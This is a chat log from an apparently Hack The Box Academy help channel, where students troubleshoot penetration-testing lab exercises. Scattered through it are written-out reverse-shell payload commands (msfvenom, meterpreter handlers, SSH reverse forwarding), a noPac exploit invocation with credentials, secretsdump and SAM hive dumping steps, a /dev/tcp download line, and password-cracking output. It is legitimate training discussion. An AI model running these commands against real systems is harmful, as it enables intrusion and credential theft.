modules

[fathom pendant]

for PW attacks yes; because PW attack is a brutal one

many people struggle on that

[proud pine]

I think it depends on the module. Some have really poor questions, or aren't applying something directly that was taught.

[wheat garden]

couple times the hint got nothing to do with finding the answer or flag

[fathom pendant]

that as well; basically relying on you having some pre-existing knowledge of some of the other commands thrown at you

[proud pine]

I'd say that as long as you're learning and understanding, it's not such a big deal to use the hints. The only module you really want to do without hints is the 'Attacking Enterprise Networks' module.

[brisk geode]

how many modules are out there on the academy??

[fathom pendant]

tons

cpts covers 28 modules, cbbh covers 22, (not sure how many overlap) then there's fundamental ones

[brisk geode]

overlaps 11 modules

cbbh has 20 modules

as far as i know

and

[proud pine]

There's significant overlap. I've only done CPTS modules, and I'm 57% complete with the bug bounty path.

[brisk geode]

around 60-70 modules

[wheat garden]

though think if the modules are part of a skill or job path they put the modules in certain order and the modules already assume you took those previous modules. They do say on some modules that knowledge of previous modules is required prerequisite knowledge.

[high totem]

And many Tier III and Tier IV which are not the part of either

[fathom pendant]

yep

[brisk geode]

letme count

[fathom pendant]

but overall the modules in cpts should be enough to have you pass cpts. same with cbbh

[brisk geode]

61 modules in total

im gonna do cpts first then cbbh then rest of the modules

[fathom pendant]

don't lose your head

[brisk geode]

lol hopefully i wont but it gets frustrating asf sometimes

[half sapphire]

Where we practice after completing module??

[high totem]

https://www.hackthebox.com/ 😛

After every module, you can see there are suggested boxes on HTB

[half sapphire]

Thank 🙏

[fathom pendant]

most modules have their own practice lab(s) at the end as well; but if you've done a lot of the getting started stuff then Starting point box/machines are a good place to get a foothold of your knowledge

[thick walrus]

Hi. I would like to know if HTB academy subscription provide access to HTB box to practice modules.

[rich vale]

been stuck on the AD skills assessment for a bit so trying to brush up on pivoting so make tool use easier

can anyone tell me the difference in the /etc/proxychains.conf files?

most guides say to edit /etc/proxychains.conf, but on kali I only see /etc/proxychains4.conf

or am i overthinking it, and current version is just 4.x so that was added to the filename?

[thorn urchin]

yeah its just a version thing

[rich vale]

okay good deal, wasnt getting a clear answer when googling, and even the pivoting module specifies /etc/proxychains.conf but maybe thats what its named on the parrot box

[fathom pendant]

No a subscription on the academy site is different than the box site

[brisk geode]

can anyone give me a nudge on footprinting medium lab? i have no clue how to get in

[fathom pendant]

There are free boxes on htb anyway

[thick walrus]

Okay thank you

[candid zephyr]

Use the one that's there already.

[high totem]

Where are you stuck?

[brisk geode]

i cant find the creds of sa

[high totem]

Did you enum other services that are there?

[brisk geode]

yeah

i logged into the rdp

got it

nvm

thanks

[high totem]

🙂

[brisk geode]

but my rdp connection keeps dying

[brisk geode]

hey sorry to bother you but its throwing up an error whenever it try to login using sa's password

[high totem]

Send me a dm

[brisk geode]

kindly check dm

[pliant sage]

yo

I'm trying to do AD - Bleeding edge but my exploit keeps failing for some reason

these are the commands I'm running and you can see on the left prompt the error I am getting, does anyone have any pointers?

[candid zephyr]

You might have to explain yourself a bit better. Noone is going to try and read through your screenshot lol

[pliant sage]

aight. I'm trying to use cube0x0's CVE-2021-1675. Supposedly I have to craft a payload with msfvenom, which I did. I then have to host this payload on an smb share, which is what the right shell is doing. And then I have to run the actual exploit (left window) except i get the following error:

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found

so i figure maybe I wrote the path wrong but I don't see where

[high zinc]

Check if any firewall is blocking incoming connections

ufw status numbered

[pliant sage]

I have to run this on the machine I'm attacking?

[high zinc]

If the local firewall looks good try escaping your backslashes in the smb path

[high zinc]

No, your own

Your kali machine

Or parrot or whichever

[pliant sage]

you command doesn't seem to be recognized by the parrot machine i'm sshed to

[high zinc]

Ok good good

[pliant sage]

escaping backslashes doesn't seem to solve the problem

[high zinc]

Ok, have you tested the smb path yourself somehow?

Just to check that the file is present in the share you expect

[pliant sage]

I seem to be able to connect to ////IP/CompData just fine using smbclient

if I try to run ls i get an error tho, is that relevant?

[high zinc]

Possibly

Depends which error

[pliant sage]

NT_STATUS_NO_SUCH_FILE listing *

[high zinc]

The original error you're seeing means that the remote box is looking at your (at that point UNC) path, tries to download the resource and goes "hmm, that's not right.."

What you want to try to figure out is which of the many possibilities of that communication going wrong is causing you trouble

[pliant sage]

the command I used to create the smb server is the following:

sudo smbserver.py -smb2support CompData ./payload.dll

is that correct?

[high zinc]

What I like to try in this case, I.e. when I think something is right but I'm not sure, is to try a simpler example

E.g. Trying to expose just a simple dir on smb

Then you can always add extra prams and such

[high zinc]

I would expect the last input to be a folder name, but I don't remember the syntax by hand

[pliant sage]

ohhhh

you're good man

Ok it still doesn't work but my path was indeed wrong

[high zinc]

Ah, progress ::D

[high zinc]

It's like riding a bike: you never entirely forget.. 😂

Too many hours spend yelling at a terminal for that

[feral stump]

Hey there, I am trying to solve AD & NTDS.dit password cracking section

I am finding some issue when trying to copy NTDS.dit file from the shadow C:

not sure why the command is not recognize, though the shadow is created succesfully

any hint?

thx

seems that is not copying the file 🤔

[undone belfry]

can I dm u?

[iron patio]

I'm lost on Nmap medium lab.

[rustic sage]

hello ,i have windows ,no linux

cmd

[stuck hull]

What's the question? What have you tried? Where are you stuck?

[cunning drum]

help me in footprinting hard lab
snmp is open port i tried to enumerate snmp with onesixtyone but nop no results

onesixtyone -c snmp.txt [ip]

[stuck hull]

I'm pretty sure that's the right command, can you DM me your command and output?

[cunning drum]

ok

[hallow swift]

Hello! I need help with the "Network enumaration with nmap" in the "Firewall and IDS/IPS Evasion - Medium Lab". I think is Module 19, section 118. Please!

[hallow swift]

I think I found the answer but when I try to submit it I get a wrong answer, I am pretty sure I found the right flag

[feral stump]

Dm your flag to check

[hallow swift]

ok, thanks!

[ripe badge]

look what you can find in the home folder of d. maybe you can reuse it for someone else.

[hazy grotto]

Thank you sir, I’m actually finished with the module! I appreciate you coming back though. Hopefully this will help others if they search. 🙂

[feral stump]

hey @hazy grotto can I dm you real quick?

[hazy grotto]

Certainly!

[hallow swift]

Hello! I need help with the "Network enumaration with nmap" in the "Firewall and IDS/IPS Evasion - Medium Lab". I think is Module 19, section 118. Please!

[plain coral]

Try running an nmap scan with a different protocol. One that is connectionless.

[hallow swift]

ok thanks, I was trying to capture the flag with tcpdump

[plain coral]

no problem, feel free to direct message me if you need further assistance.

[inland hamlet]

Hyy

[rustic sage]

hey guys this photo,hack web xD

ftp

[inland hamlet]

Hloo9

[versed ibex]

Hey can I use the PWN Box in HBA for learning blackeye?

[stuck hull]

No outside targets

[limpid void]

a general question is there no keyword defined as cookies in python
while i was declaring it python was giving an error and was fixing it by cookie instead of cookies
if someone can help :0

[stuck hull]

I'm not sure I understand your question. Python does not have a lot of keywords and I doubt cookies, or cookie is one of them.

you can get a list of Python keywords with: ` import keyword

print(keyword.kwlist)`

You must be using a module in Python

[spare condor]

Hello! I'm on the Skills Assessment - File Upload Attacks and trying to do the ||xxe|| in order to leak the source code of the Web App and find the ||upload directory||.

The base64 code give me my payload, and not the source code. Can someone help me?

p.s. Happy New Year to everyone!

[violet axle]

Question about using chisel based on what's in the proxy/tunnel section of the CME module. It describes using the server from the victim but I don't understand why you'd do that since you can always use --reverse options to control directions.

[limpid void]

yeah was using the reqeust lib in python

[graceful rampart]

Can soemone please tell me what im missing on the attacking common services medium skills assesment? I found 4 open ports || ssh, dns, pop3 and pop3s || I cant even try to get into ||pop3|| without a username and i dont see how id get that from ||dns||. I know im missing something, probably something pretty obvious, but i dont know what

[graceful rampart]

i reset the machine and now there are 2 more ports open

[crisp remnant]

Anyone for small question about Enumerating and attacking active directory module ?

[candid zephyr]

Potentially

[light plank]

I am on redeemer and I keep getting the error code to my nmap script saying its "illegal"

[rustic sage]

hi all.

On SQLMap Essentials - Skill Assessment, just need a check on some syntax.

|| sqlmap -u http://<HOST-TARGET><PORT>/<hidden>.php --data '{"id":1}' --batch --dump --tamper=b****** ||

I'm getting "unable to retrieve db names"

Skill assessment completed alone ! yippee DM if you need help!

[stuck hull]

You'll have more luck posting in #boxes

[light plank]

thats not showing up for me in the discord channels

[stuck hull]

You need to verify your account. Check the rules

[rustic sage]

In the module ATTACKING COMMON APPLICATIONS / WordPress - Discovery & Enumeration, any idea how to find the first question: "Enumerate the host and find a flag.txt flag in an accessible directory."? I've been through all the folders of http://blog.inlanefreight.local/wp-content/plugins/mail-masta and http://blog.inlanefreight.local/wp-content/plugins/contact-form-7/ don't know where else to search

[tiny ember]

So doing the File Transfer module and the optional assessment for Windows Uploads. Running into an issue on the RDP where making calls to outside websites via curl or the Powershell thing isn't working. any ideas on this?

[rustic sage]

someone?

[mellow turtle]

@rustic sage dm me

[graceful rampart]

Download the file you want to your attack amchine and host it on your own http server

HTB machines cant reach out to the internet

Just finished the Attacking Common Services modules. Those skills assesments were really fun. I think the medium and easy should have their names swapped tho

The hard skills assessment is beautiful

Now i have to do Pivoting and then I can finally start the AD module

[rustic sage]

BRO

linux or windows?

[candid zephyr]

Hammer or screwdriver?

[thorn urchin]

feta or asiago

[rustic sage]

In the Active Directory module / Bleeding Edge Vulnerabilities ,
the Nopac method doesn't seem to work. Any idea what's wrong with this command? python3 /home/sarah/Téléchargements/noPac/noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 10.129.110.11 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

███ ██ ██████ ██████ █████ ██████
████ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ██ ██ ██████

[-] If ssl error, add -use-ldap parameter to connect with ldap. Error: socket connection error while opening: [Errno 111] Connection refused

[rustic sage]

no

bro serius

[thorn urchin]

Its a serious answer

[rustic sage]

bro yes

[thorn urchin]

Use the tool for the job

[rustic sage]

ym new is this server

ym italy

[thorn urchin]

sometimes windows is necessary, sometimes linux is necessary

nobody cares

also this channel is for academy module discussion, keep it on topic

[rustic sage]

ok

[thorn urchin]

go verify your account in #welcome and then ask your random questions in general chat

[rustic sage]

yea

hack web in ftp xD

https://tenor.com/view/hacker-pupper-dog-hacker-computer-keyboard-gif-17954501

xD

[stuck hull]

I'm struggling to understand something in File Transfers: Linux File Transfer Methods, download with Bash.

What exactly is exec 3<>/dev/tcp/10.10.10.32/80 doing?

I know that exec is running a command, I'm assuming that 3 is a file descriptor, but I only know of STDOUT(1) and STDERROR(2) - so what's 3?

[rustic sage]

WHAT BRO ,no have linux

[stuck hull]

So the <> is the diamond operator, and opens a file for reading and writing. So I'm assuming that first command opens /dev/tcp on the target box for down and upload?

[thorn urchin]

stdin too

[stuck hull]

Oh yeah, that's 0 right?

[thorn urchin]

iirc yeah

im assuming 3 is shorthand for all three but I could be wrong

[stuck hull]

So I think 3 is actually anything you want it to be. I've found this recourse which is quite good: https://catonmat.net/bash-one-liners-explained-part-three

So you could do something like this:

exec 5<> file and that opens 'file' for read and write and assigns it to file descriptor 5.

so it looks like that's what's happening in: exec 3<>/dev/tcp/10.10.10.32/80 we assigning that folder/port to fd 3 for reading and writing.

[ivory dock]

Can anyone help with the SMTP footprinting final exercise? I've run the command multiple times and also tried metasploit but I either get results saying that none of the accounts exist or all of them exist... 😅

And yes I also set the reply timeout to 15 and 20

I also tried using different modes

[rustic sage]

GG

[ivory dock]

And when running VRFY manually I always get a 252 (yes I know what it indicates), which is what we're "warned" about int he module

[fathom pendant]

Use the list provided in resources

[ivory dock]

And yes, did that too

[thorn urchin]

Did you try all the different methods for user enumeration?

the common tools default to one method out of the recommended three, but iirc only one of em actually works for the practical and its not the default

[ivory dock]

Yes, also tried using different modes

[vital adder]

of you are using the user enum tool this should be right also for metasploit i got no note about having to set any delay so metasploit should also work try restart your target machine

[ivory dock]

I'll try restarting thne

[fathom pendant]

Delay is needed for the metasploit module, not sure how to replicate that in the args line

[vital adder]

just to make sure the metasploit part in me mote is right i just give it a try and still found the right user without any delay

also there is no option for delay 🤣

[fathom pendant]

Usually it's the -W argument

In meta

[vital adder]

oh wait no i found the delay option i'm dumb

[fathom pendant]

Is there a script arg delay option?

[vital adder]

it's set to 10 but in the enum tool you need to use at least 15 or 20 so that's kinda weird

[vital adder]

in metasploit?

[vital adder]

also this is right but for the user enum tool

[fathom pendant]

No, using the nmap route

[vital adder]

yep i found this tag on nmap site --scan-delay

[fathom pendant]

Yes but I think that's for the scan itself, not the script

[vital adder]

oh for that i think you have to experiment a lot with some of nmap rate tag

[ivory dock]

Still the same results

With VRFY all usernames are valid, EXPN none of them are

The -w option is for smtp-user-enum btw

I don't see one for emtsploit

[graceful rampart]

I don't have notes on the excersizes for the footprinting module.

iirc you need to add the -d flag (domain)

[ivory dock]

yup, did that

[graceful rampart]

I got nothing then

Sorry

I think I used the RCPT mode as well

[thorn urchin]

Are you sure you used the rcpt mode thiugh

[graceful rampart]

I think so, but I don't have notes on that excersize 😅

[thorn urchin]

Oh no worries I got my wires crossed

[thorn urchin]

thats 2/3 recommended methods, ya try the third one

[ivory dock]

Yes, same as VRFY, all exist

https://tenor.com/view/crazy-jim-carrey-weird-gif-9170373

[vital adder]

try without the domain if that still doesn't work shoot me a dm if with your command

[ivory dock]

f me

no domain owrked

thank you

[tiny ember]

Thanks

[simple zephyr]

can someone help me with Pass the Hash module. I am stuck on David's Hash. I am attempting to Invoke-SMBExec and I am getting does not have service control Manager write permissions. So I attempted to RDP into his account on the Target, then network into 172.16.1.10 and I can see all of the shares, but do not have permissions to the shares with Davids account.

[junior inlet]

Hi everyone ! i'm having a headache about NMAP - Firewall & IDS/IPS Evasion: Medium Lab; i'm missing something with the filtered port, begging for help ❤️

[ivory dock]

For the IMAP question, I'm submitting the flag I found but it's incorrect

Not sure how to fix this... There are no extra spaces

Ah my mistake, the flag I found is for another question

[rustic sage]

module and section: xss phising

I tested the link i made with the steps it showed me and did the entering test and test as username and password and i was able to capture it through the php server and it worked, but when i send it to the "victim" in /phising/send.php it says url sent, but it isnt working and i wont receive anything

i used my ifconfig tun0 10.10.xx.xx ip

[shadow canopy]

command injection assessment (Permission denied). i need some hint

[simple zephyr]

so i figured out how to get SMBexec to work and there are a few ways to get the flag on this one. I encourage everyone to take the time to figure out how to get SMBExec to actually run on this module because it opens up another foothold if there was more to the box.

[hazy grotto]

Hey guys. Yesterday I was having issues with cracking hashes. I couldn't crack a hash but was able to pass it.

today i wanted to see if it would do it again. Would some please take a look and see why hashcat and john the ripper both wont run? They both say exhausted and quit after 5 seconds.

$ hashcat -m 1000 thm.hash /home/ruderaph/Downloads/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

• Device #1: pthread-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 3923/7911 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'thm.hash' on line 2 (CBFDAC...8F9CAB4083784CBD1874F76618D2A97 ): Token length exception
Hashfile 'thm.hash' on line 3 (1C8BFE...2AA37FC4CCE4FC946683D7B336B63032): Token length exception
Hashfile 'thm.hash' on line 4 ($2y$12...eeUznr71EeNkJkUlypTsgbX1H68wsRom): Token length exception

• Token length exception: 3/5 hashes
  This error happens if the wrong hash type is specified, if the hashes are
  malformed, or if input is otherwise not as expected (for example, if the
  --username option is used but no username is present)

Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:

• Zero-Byte
• Early-Skip
• Not-Salted
• Not-Iterated
• Single-Hash
• Single-Salt
• Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:

• Filename..: /home/ruderaph/Downloads/rockyou.txt
• Passwords.: 14344384
• Bytes.....: 139921497
• Keyspace..: 14344384

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 279412f945939ba78ce0758d3fd83daa
Time.Started.....: Mon Jan 2 17:51:24 2023 (4 secs)
Time.Estimated...: Mon Jan 2 17:51:28 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/ruderaph/Downloads/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4310.7 kH/s (0.10ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b6d3831303838] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 38%

Started: Mon Jan 2 17:51:24 2023
Stopped: Mon Jan 2 17:51:29 2023

[simple zephyr]

have you checked your pot file

[rustic sage]

can someone plz help me

[hazy grotto]

🙂 hey. Would you tell me what that is?

[simple zephyr]

I run hashcat on my windows machine, so I can use my GPU, so I am not 100% sure if the folder structure is the same on Kali/Linux

[hazy grotto]

Ok i see some hashes that are cracked but non that im trying to do.

[simple zephyr]

send me the file your trying to crack

[unreal patio]

@hazy grotto I just grepped over rockyou.txt with the password that crackstation gives and it doesn't show in the list

[hazy grotto]

Well... I was doing the hardlab yesterday...

And someone alot smarter than me was helping me. I was using the same wordlists as him and everything i tried wasn't working.....

[simple zephyr]

which hardlab?

[unreal patio]

When in doubt check crackstation 😐

[hazy grotto]

password attacks

[simple zephyr]

nice im in the middle of it right now, just finished Pass the Hash section

[hazy grotto]

So if i was running rockyou..... wouldn't take longer than 5 seconds to go through the list?

[simple zephyr]

would you mind DMin me your notes for getting Davids Flag. I want to compare

[hazy grotto]

DM and i can help

[unreal patio]

Seems so

I was really weirded out at some point because john was stopping after 2-3 seconds with a zip file

Seems like I just had the wrong wordlist

Not that they weren't long

[simple zephyr]

if you already ran it before it might be in a cache and just skipping it to not waste time

[unreal patio]

But if you're using non-mutated wordlists you might aswell go to crackstation

Saves you time and headaches

[hazy grotto]

I'm going through my notes runnign the same commands as before which had results. Nothing is working for it anymore.

john --wordlist=mut_password.list doc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)

[graceful rampart]

No hashes left to crack means its already in your potfile. Run john --show doc.hash

[proud pine]

Modules that do brute forcing without some kind of direction should really be removed. -_-

[graceful rampart]

Most of them arent bad. Usually itll only take a few minutes max. But there are a few sections that are ridiculously long. I believe thyre being worked on

[proud pine]

I just did the gitlab user enumeration section, and there's really no reason not to tell you which list to use.

[thorn urchin]

iirc the hints give a suggested user list if not stated in the module outright for the gitlab one

[proud pine]

The section used a custom wordlist, so I didn't see anything that would hint to which one to use. I just started with the smaller ones, and moved up, but I can imagine many newer users might use the bigger lists, and complain about timeouts/machine expiring.

[pseudo epoch]

Hello, I'm having some trouble with something from the File Transfer Module. I'm trying to test the wsgidav python server on my linux box, and connecting to it from my windows host machine. After configuring the server like the example shows, I keep getting a "Cannot find path [ipaddress]\DavWWWRoot because it does not exist" error. Could this be a Firewall issue or am I missing something? Never used wsgidav before. Thank you in advance. ----Also, I have been able to connect to it every other way described in the module

[iron patio]

@stuck hull hey, sorry i logged off. mind if i dm you about that Nmap medium lab?

[coral laurel]

hello i want to　download to macbook hornycraft

[shy basin]

anyone got any quick hints with the Login Brute Forcing Skill Assessment - Website? The first section is just "bruteforce this" with no information and I've been just going through various wordlists for hours. Basically just do you know what lists will have what I need

figured it out. anyone looking for help, you'll have to use the || -C || flag, and look back through what you've already done

[hallow swift]

Hello! I need help with the "Network enumaration with nmap" in the "Firewall and IDS/IPS Evasion" - HARD Lab. Module 19, section 119. Please!

[graceful rampart]

Anyone around to help me troubleshoot reverse ssh port forwards? Im trying to get a meterpreter shell from the windows machine but for some reason metasploit wont accept the connection? I can catch shell using ncat but when i try to use metasploit i get nothing

Im heading to sleep for the night, but ill try to provide as much info as I can so that hopefully I wake up to an answer.

Reverse Port forward command:
ssh -R 172.16.5.129:8443:0.0.0.0:8000 ubuntu@10.129.69.138 -vN

MSFVenom Command:
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.5.129 LPORT=8443 -f exe -o shell.exe

Using the above reverse port forward and the payload generated with the above command, im able to get a reverse shell no problem when executing from the internal windows machine (screenshot attatched)

---

Reverse Port forward command:
ssh -R 172.16.5.129:8443:0.0.0.0:8000 ubuntu@10.129.69.138 -vN

MSFVenom Command:
msfvenom -p windows/x64/meterpreter/shell_reverse_https LHOST=172.16.5.129 LPORT=8443 -f exe -o shell.exe
(Same payload used in the SSH Reverse Port Forward example)

Multi handler Settings:
set LHOST 0.0.0.0
set LPORT 8000
set payload windows/x64/meterpreter/shell_reverse_https

With the above setup, now I just dont get a callback. I can see the connection happening in the Reverse Port Forward log, but metasploit just sits and does nothing. Dosent say connection recieved, dosent say exploit failed, nothing. It just keeps listening

[vital adder]

try with a normal shell instead of the meterpreter shell

[graceful rampart]

I did

The image I attached is the shell I got

A regular shell works fine

I can't figure out why I can't get a meterpreter shell tho

[frank badge]

I’ve just started my cybersecurity journey, does htb have a free learning course for the same or paid?

[vital adder]

oh that just because a meterpreter shell is way too big to route through 2 netowrk

[graceful rampart]

But wouldn't I at least get the "exploit completed but no session was created" message? Or an exploit failed message?

I get zero output in metasploit

[vital adder]

the academy have free module in tier 0 and i think 1 also if you are new to this and want some free stuff to get started check out tryhackme free path

[vital adder]

nope i think the shell just doesn't go through or something

[graceful rampart]

Hmm. Interesting. Cuz I noticed that if I use the wrong payload I get the "failed to open session" output

[vital adder]

try it on the pwnbox because on there the shell doesn't have to go through a second network (your vpn) so the meterpreter shell should work n there

[vital adder]

oh that is Interesting

[graceful rampart]

So I was thinking maybe it's something with the https payload

But I'm not sure

I'm getting back on to play with it more now lmao

[brisk geode]

can anyone help me with imap? like how to get the id of a msg in a mailbox?

[hallow swift]

I need help with the "Network enumaration with nmap" in the "Firewall and IDS/IPS Evasion" - HARD Lab. Module 19, section 119. Please!

[fathom pendant]

it's not explained well but think of it as a LIST not necessarily a specific ID #

I had to google that one myself

[brisk geode]

you need to change the source port somehow

[brisk geode]

i been stuck on the hard lab

footprinting

idk how to grab the mail

[graceful rampart]

I was right. Its something about the https payload. I just got a meterpreter session using reverse_tcp

[vital adder]

oh wait what?

[graceful rampart]

Yep

Im throughly confused now

[fathom pendant]

just told you :) it's not necessarily a specific ID like ahu4968590; it's more about think of it as picking from a list

[graceful rampart]

trying again with http to see if its specifically the https payload, or if its the way metaploit handles http requests in general

Ok, so its gotta be something specific about the https payload

cuz http worked perfectly fine

[fathom pendant]

maybe it's a weird syntax difference?

[graceful rampart]

I dont think so

It just sits here when using the https payload.

[fathom pendant]

huh... like it's stuck in transit phase

[graceful rampart]

I can see the request coming through in the reverse forward log

Its gotta be something with the way metasploit handles https requests

Cuz http works perfectly fine

[brisk geode]

retro term?

[graceful rampart]

yes

[brisk geode]

cool

[graceful rampart]

Well, thats enough for tonight. Im tired and dont have the energy to look into this now. Will attempt to figure it out tommorow morning

[wheat garden]

😴

[rich vale]

is it normal for nmap to take a really long time when running through proxychains? with -sT -Pn flags on the default ports

[candid zephyr]

Yeah. Life is painful when ran through proxychains. Source: doing a prolab...

I suppose it depends how long though? You can hit an unbound key and it'll give you status

[rich vale]

"Nmap done: 1 IP address (1 host up) scanned in 1698.46 seconds"

eventually got the results, but wasn't expecting that

[candid zephyr]

Half an hour? Is that with services and stuff too?

[rich vale]

was just proxychains -q nmap -sT -Pn 172.16.6.50

[pliant sage]

is there a way to manually dump a user's ntlm hash in AD, provided I'm authority/system?

a living off the land method

[candid zephyr]

you mean like a native powershell command? xD no. you can save hklm system and sam and dump back on your host machine.

[pliant sage]

ok, basically I have an authority/system shell on a machine with no tools and I am tasked with retrieving a specific user's password, do you have an idea on how to do that?

[candid zephyr]

are you doing a module?

[pliant sage]

yeah

[candid zephyr]

the active directory module?

[pliant sage]

AD attacking domain trusts from linux

yes

[candid zephyr]

can you not just... put your own tools on there

i don't think these modules have defender running even.

my notes for that section of the module are using secretsdump.

[pliant sage]

can you use secretsdump with a golden ticket?

I tried to but i might have miswrote the command because it asked for a password

[candid zephyr]

is it the DA bross question?

[pliant sage]

yeah

[candid zephyr]

If you scroll up in the section it has all the syntax there.

[pliant sage]

it does?

I see the syntax for getting into the system but I don't see dumping hashes

[candid zephyr]

wait have you already got the psexec shell sorry. just set up smb server and copy hklm\system hklm\sam over then

[pliant sage]

it says I can't access the smb share I'm trying to upload the saves to because of company policy

[candid zephyr]

oh because you needed to specify creds with this module for smb servers. sorry 🤦

i don't have specific notes on how I obtained the hash, so just assuming I did secretsdump or mimikatz or something

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/bross should just dump their hash, no?

the section has you dump creds from krbtgt in my notes. i'm guessing given the question you can just do bross instead of krbtgt then.

idk why I didn't write down what I did. I can only assume it was straight forward haha sorry.

[rich vale]

@candid zephyr for the AD skills assessment, any advice on using secretsdump ? have had my session interrupted 4 times now before it can finish

[pliant sage]

nah it doesn't work

@candid zephyr what's wrong with my syntax?

[candid zephyr]

you have to specify a filename. so move sam.bak \ipadd\folder\sam.bak. if you've created a user locally then you specify the credswhen making smb server. smbserver -smb2support compdata . -user hacker -password Password!

[candid zephyr]

i've no idea why your instance is borked 😦

[pliant sage]

even w/ full filepath for sam.save i get the same error

[rich vale]

it runs for a while, but there are loads of users, and the meterpreter session dies somewhere deep in the process lol

[candid zephyr]

on your kali machine do smbserver.py -smb2support sharename . -user our1 -password our1

then on the box you wtransfer do net use \ipadd\sharename /u:our1 our1

then copy sam.bak \ipadd\sharename\sam.bak

You should be good to go then.

Alternatively you can copy mimikatz from your smbserver to the box and do it that way. copy \ipadd\share\mimikatz.exe mimikatz.exe

i think the way it initially teaches you (looking at the module rn) is with mimikatz.

[pliant sage]

I went back to it after screaming into a pillow and found a much simpler way. You were right in saying I could use secretsdump for this task and the correct syntax is: secretsdump.py logistics.inlanefreight.local/[e-mail] -k -no-pass -just-dc-user bross

[woeful mural]

Anyone finsh the shells and payload section? I cant seem to get this right?
Where is the Laudanum aspx web shell located on Pwnbox? Submit the full path. (Format: /path/to/laudnaumaspx)

[pliant sage]

have you tried find / -name laundanumaspx ?

[woeful mural]

i tried something similar. Let me try that. But i get permission denied with that.

even as root

[feral stump]

try in your command ||laudanum*||

or just ||laudanum||

[pliant sage]

you're root so there's really no reason to get permission denied

[pliant sage]

try using sudo

[woeful ermine]

hello. linux priv esc - skill assessment - flag5. well. I have a nc shell and a meterpreter but cant figure out how to esc priv. whatever I try, I am just coming empty handed. Please someone push me to a right direction

well I am totally lost

[woeful mural]

Yeah i dont get it. I even reset the box and am still getting the same thing.

[woeful ermine]

maybe you just dont have priv to see that file

[feral stump]

why don't you try to ||search where the laudanum shell is usually stored and browse there||

[spare condor]

anyone for this one?

[woeful mural]

@pliant sage Thats what i did originally. The only file there is shell.aspx

[pliant sage]

have you submitted the full path of this file?

[hallow swift]

I need help with the "Network enumaration with nmap" in the "Firewall and IDS/IPS Evasion" - HARD Lab. Module 19, section 119. Please!

[woeful mural]

I did that also

[broken warren]

Are there any efficient ways of running hashcat separate from my machine? Im using a laptop on a VM so everything is pretty limited. I tried a Linode server like a 1GB one, but it didn't have enough allocatable memory. Update I tried the pwnbox and that says I'm looking at 7 days to crack one hash. There must be a better way

[woeful mural]

@pliant sage I see what you mean. I submitted the path but not included the file name

Thanks

[pliant sage]

did it work?

[woeful mural]

Yeah that worked. I dont see why it needs the file name but it does clearly state the full path.

[pliant sage]

great!

[woeful mural]

Thanks

[feral pecan]

hello guys german guys here??

[austere tide]

Ja

@feral pecan

[feral pecan]

@austere tide oh nice kann ich dir pn schreiben ?

[feral stump]

module pwd attacks / section Passwd, Shadow & Opasswd - question: Examine the target using the credentials from the user Will and find out the password of the "root" user. Then, submit the password as the answer.

when they say credentials from Will

do they refer to the previous section?

cause in the previous section I only captured firefox creds

if you guys can support before i start the practice would appreciate

thx!

i'm not sure if I should have captured additional creds

😬

[sand marten]

Hello all, is there an issue with targets?

I have trouble connecting to targets spawned

[feral stump]

no that I know

[sand marten]

after a while it turns unresponsive and I have to respawn since yesterday

[jovial hazel]

any body can help me ?? ,how to connect the vpn server?

[feral stump]

sudo openvpn <file_name>

[ivory dock]

Great resource I found for IMAP commands:

https://www.atmail.com/blog/imap-101-manual-imap-sessions/

[strong hedge]

can anyone help me in : Skill Assessment - Broken Authentication

[rustic sage]

wtf

bro

[graceful rampart]

Well the answer to the previous question was the password fir the "Will" user. So if you finished the previous section you have the passwrod

[rustic sage]

1234

password

[feral stump]

Great thx

[rustic sage]

25340'9865879'40539687'28'5298'2849053'280495'809358'3427627'5490385340985 Wi-Fi

noononon

xD

ym live on twitch bro

[feral stump]

Can any of the #mods take care of this

[rustic sage]

LOL

[feral stump]

@carmine kiln this guy above when you can pls ... thx

[real cedar]

cheers!
I am working on the footprinting module and the last DNS question is making me bang my head against the desk. I bet I am thinking to difficult for this, but its no fun anymore. I dont get it. Any help would be much appreciated

[stuck hull]

Where have you got to?

[real cedar]

I found the second NS but cannot bruteforce both domains to get a system with .203

[stuck hull]

You need to find a really ||fierce|| wordlist.

[real cedar]

wow, okay. got it

I think I tried every other but that one. Shouldve been more thorough. Thanks for the help!

[shut juniper]

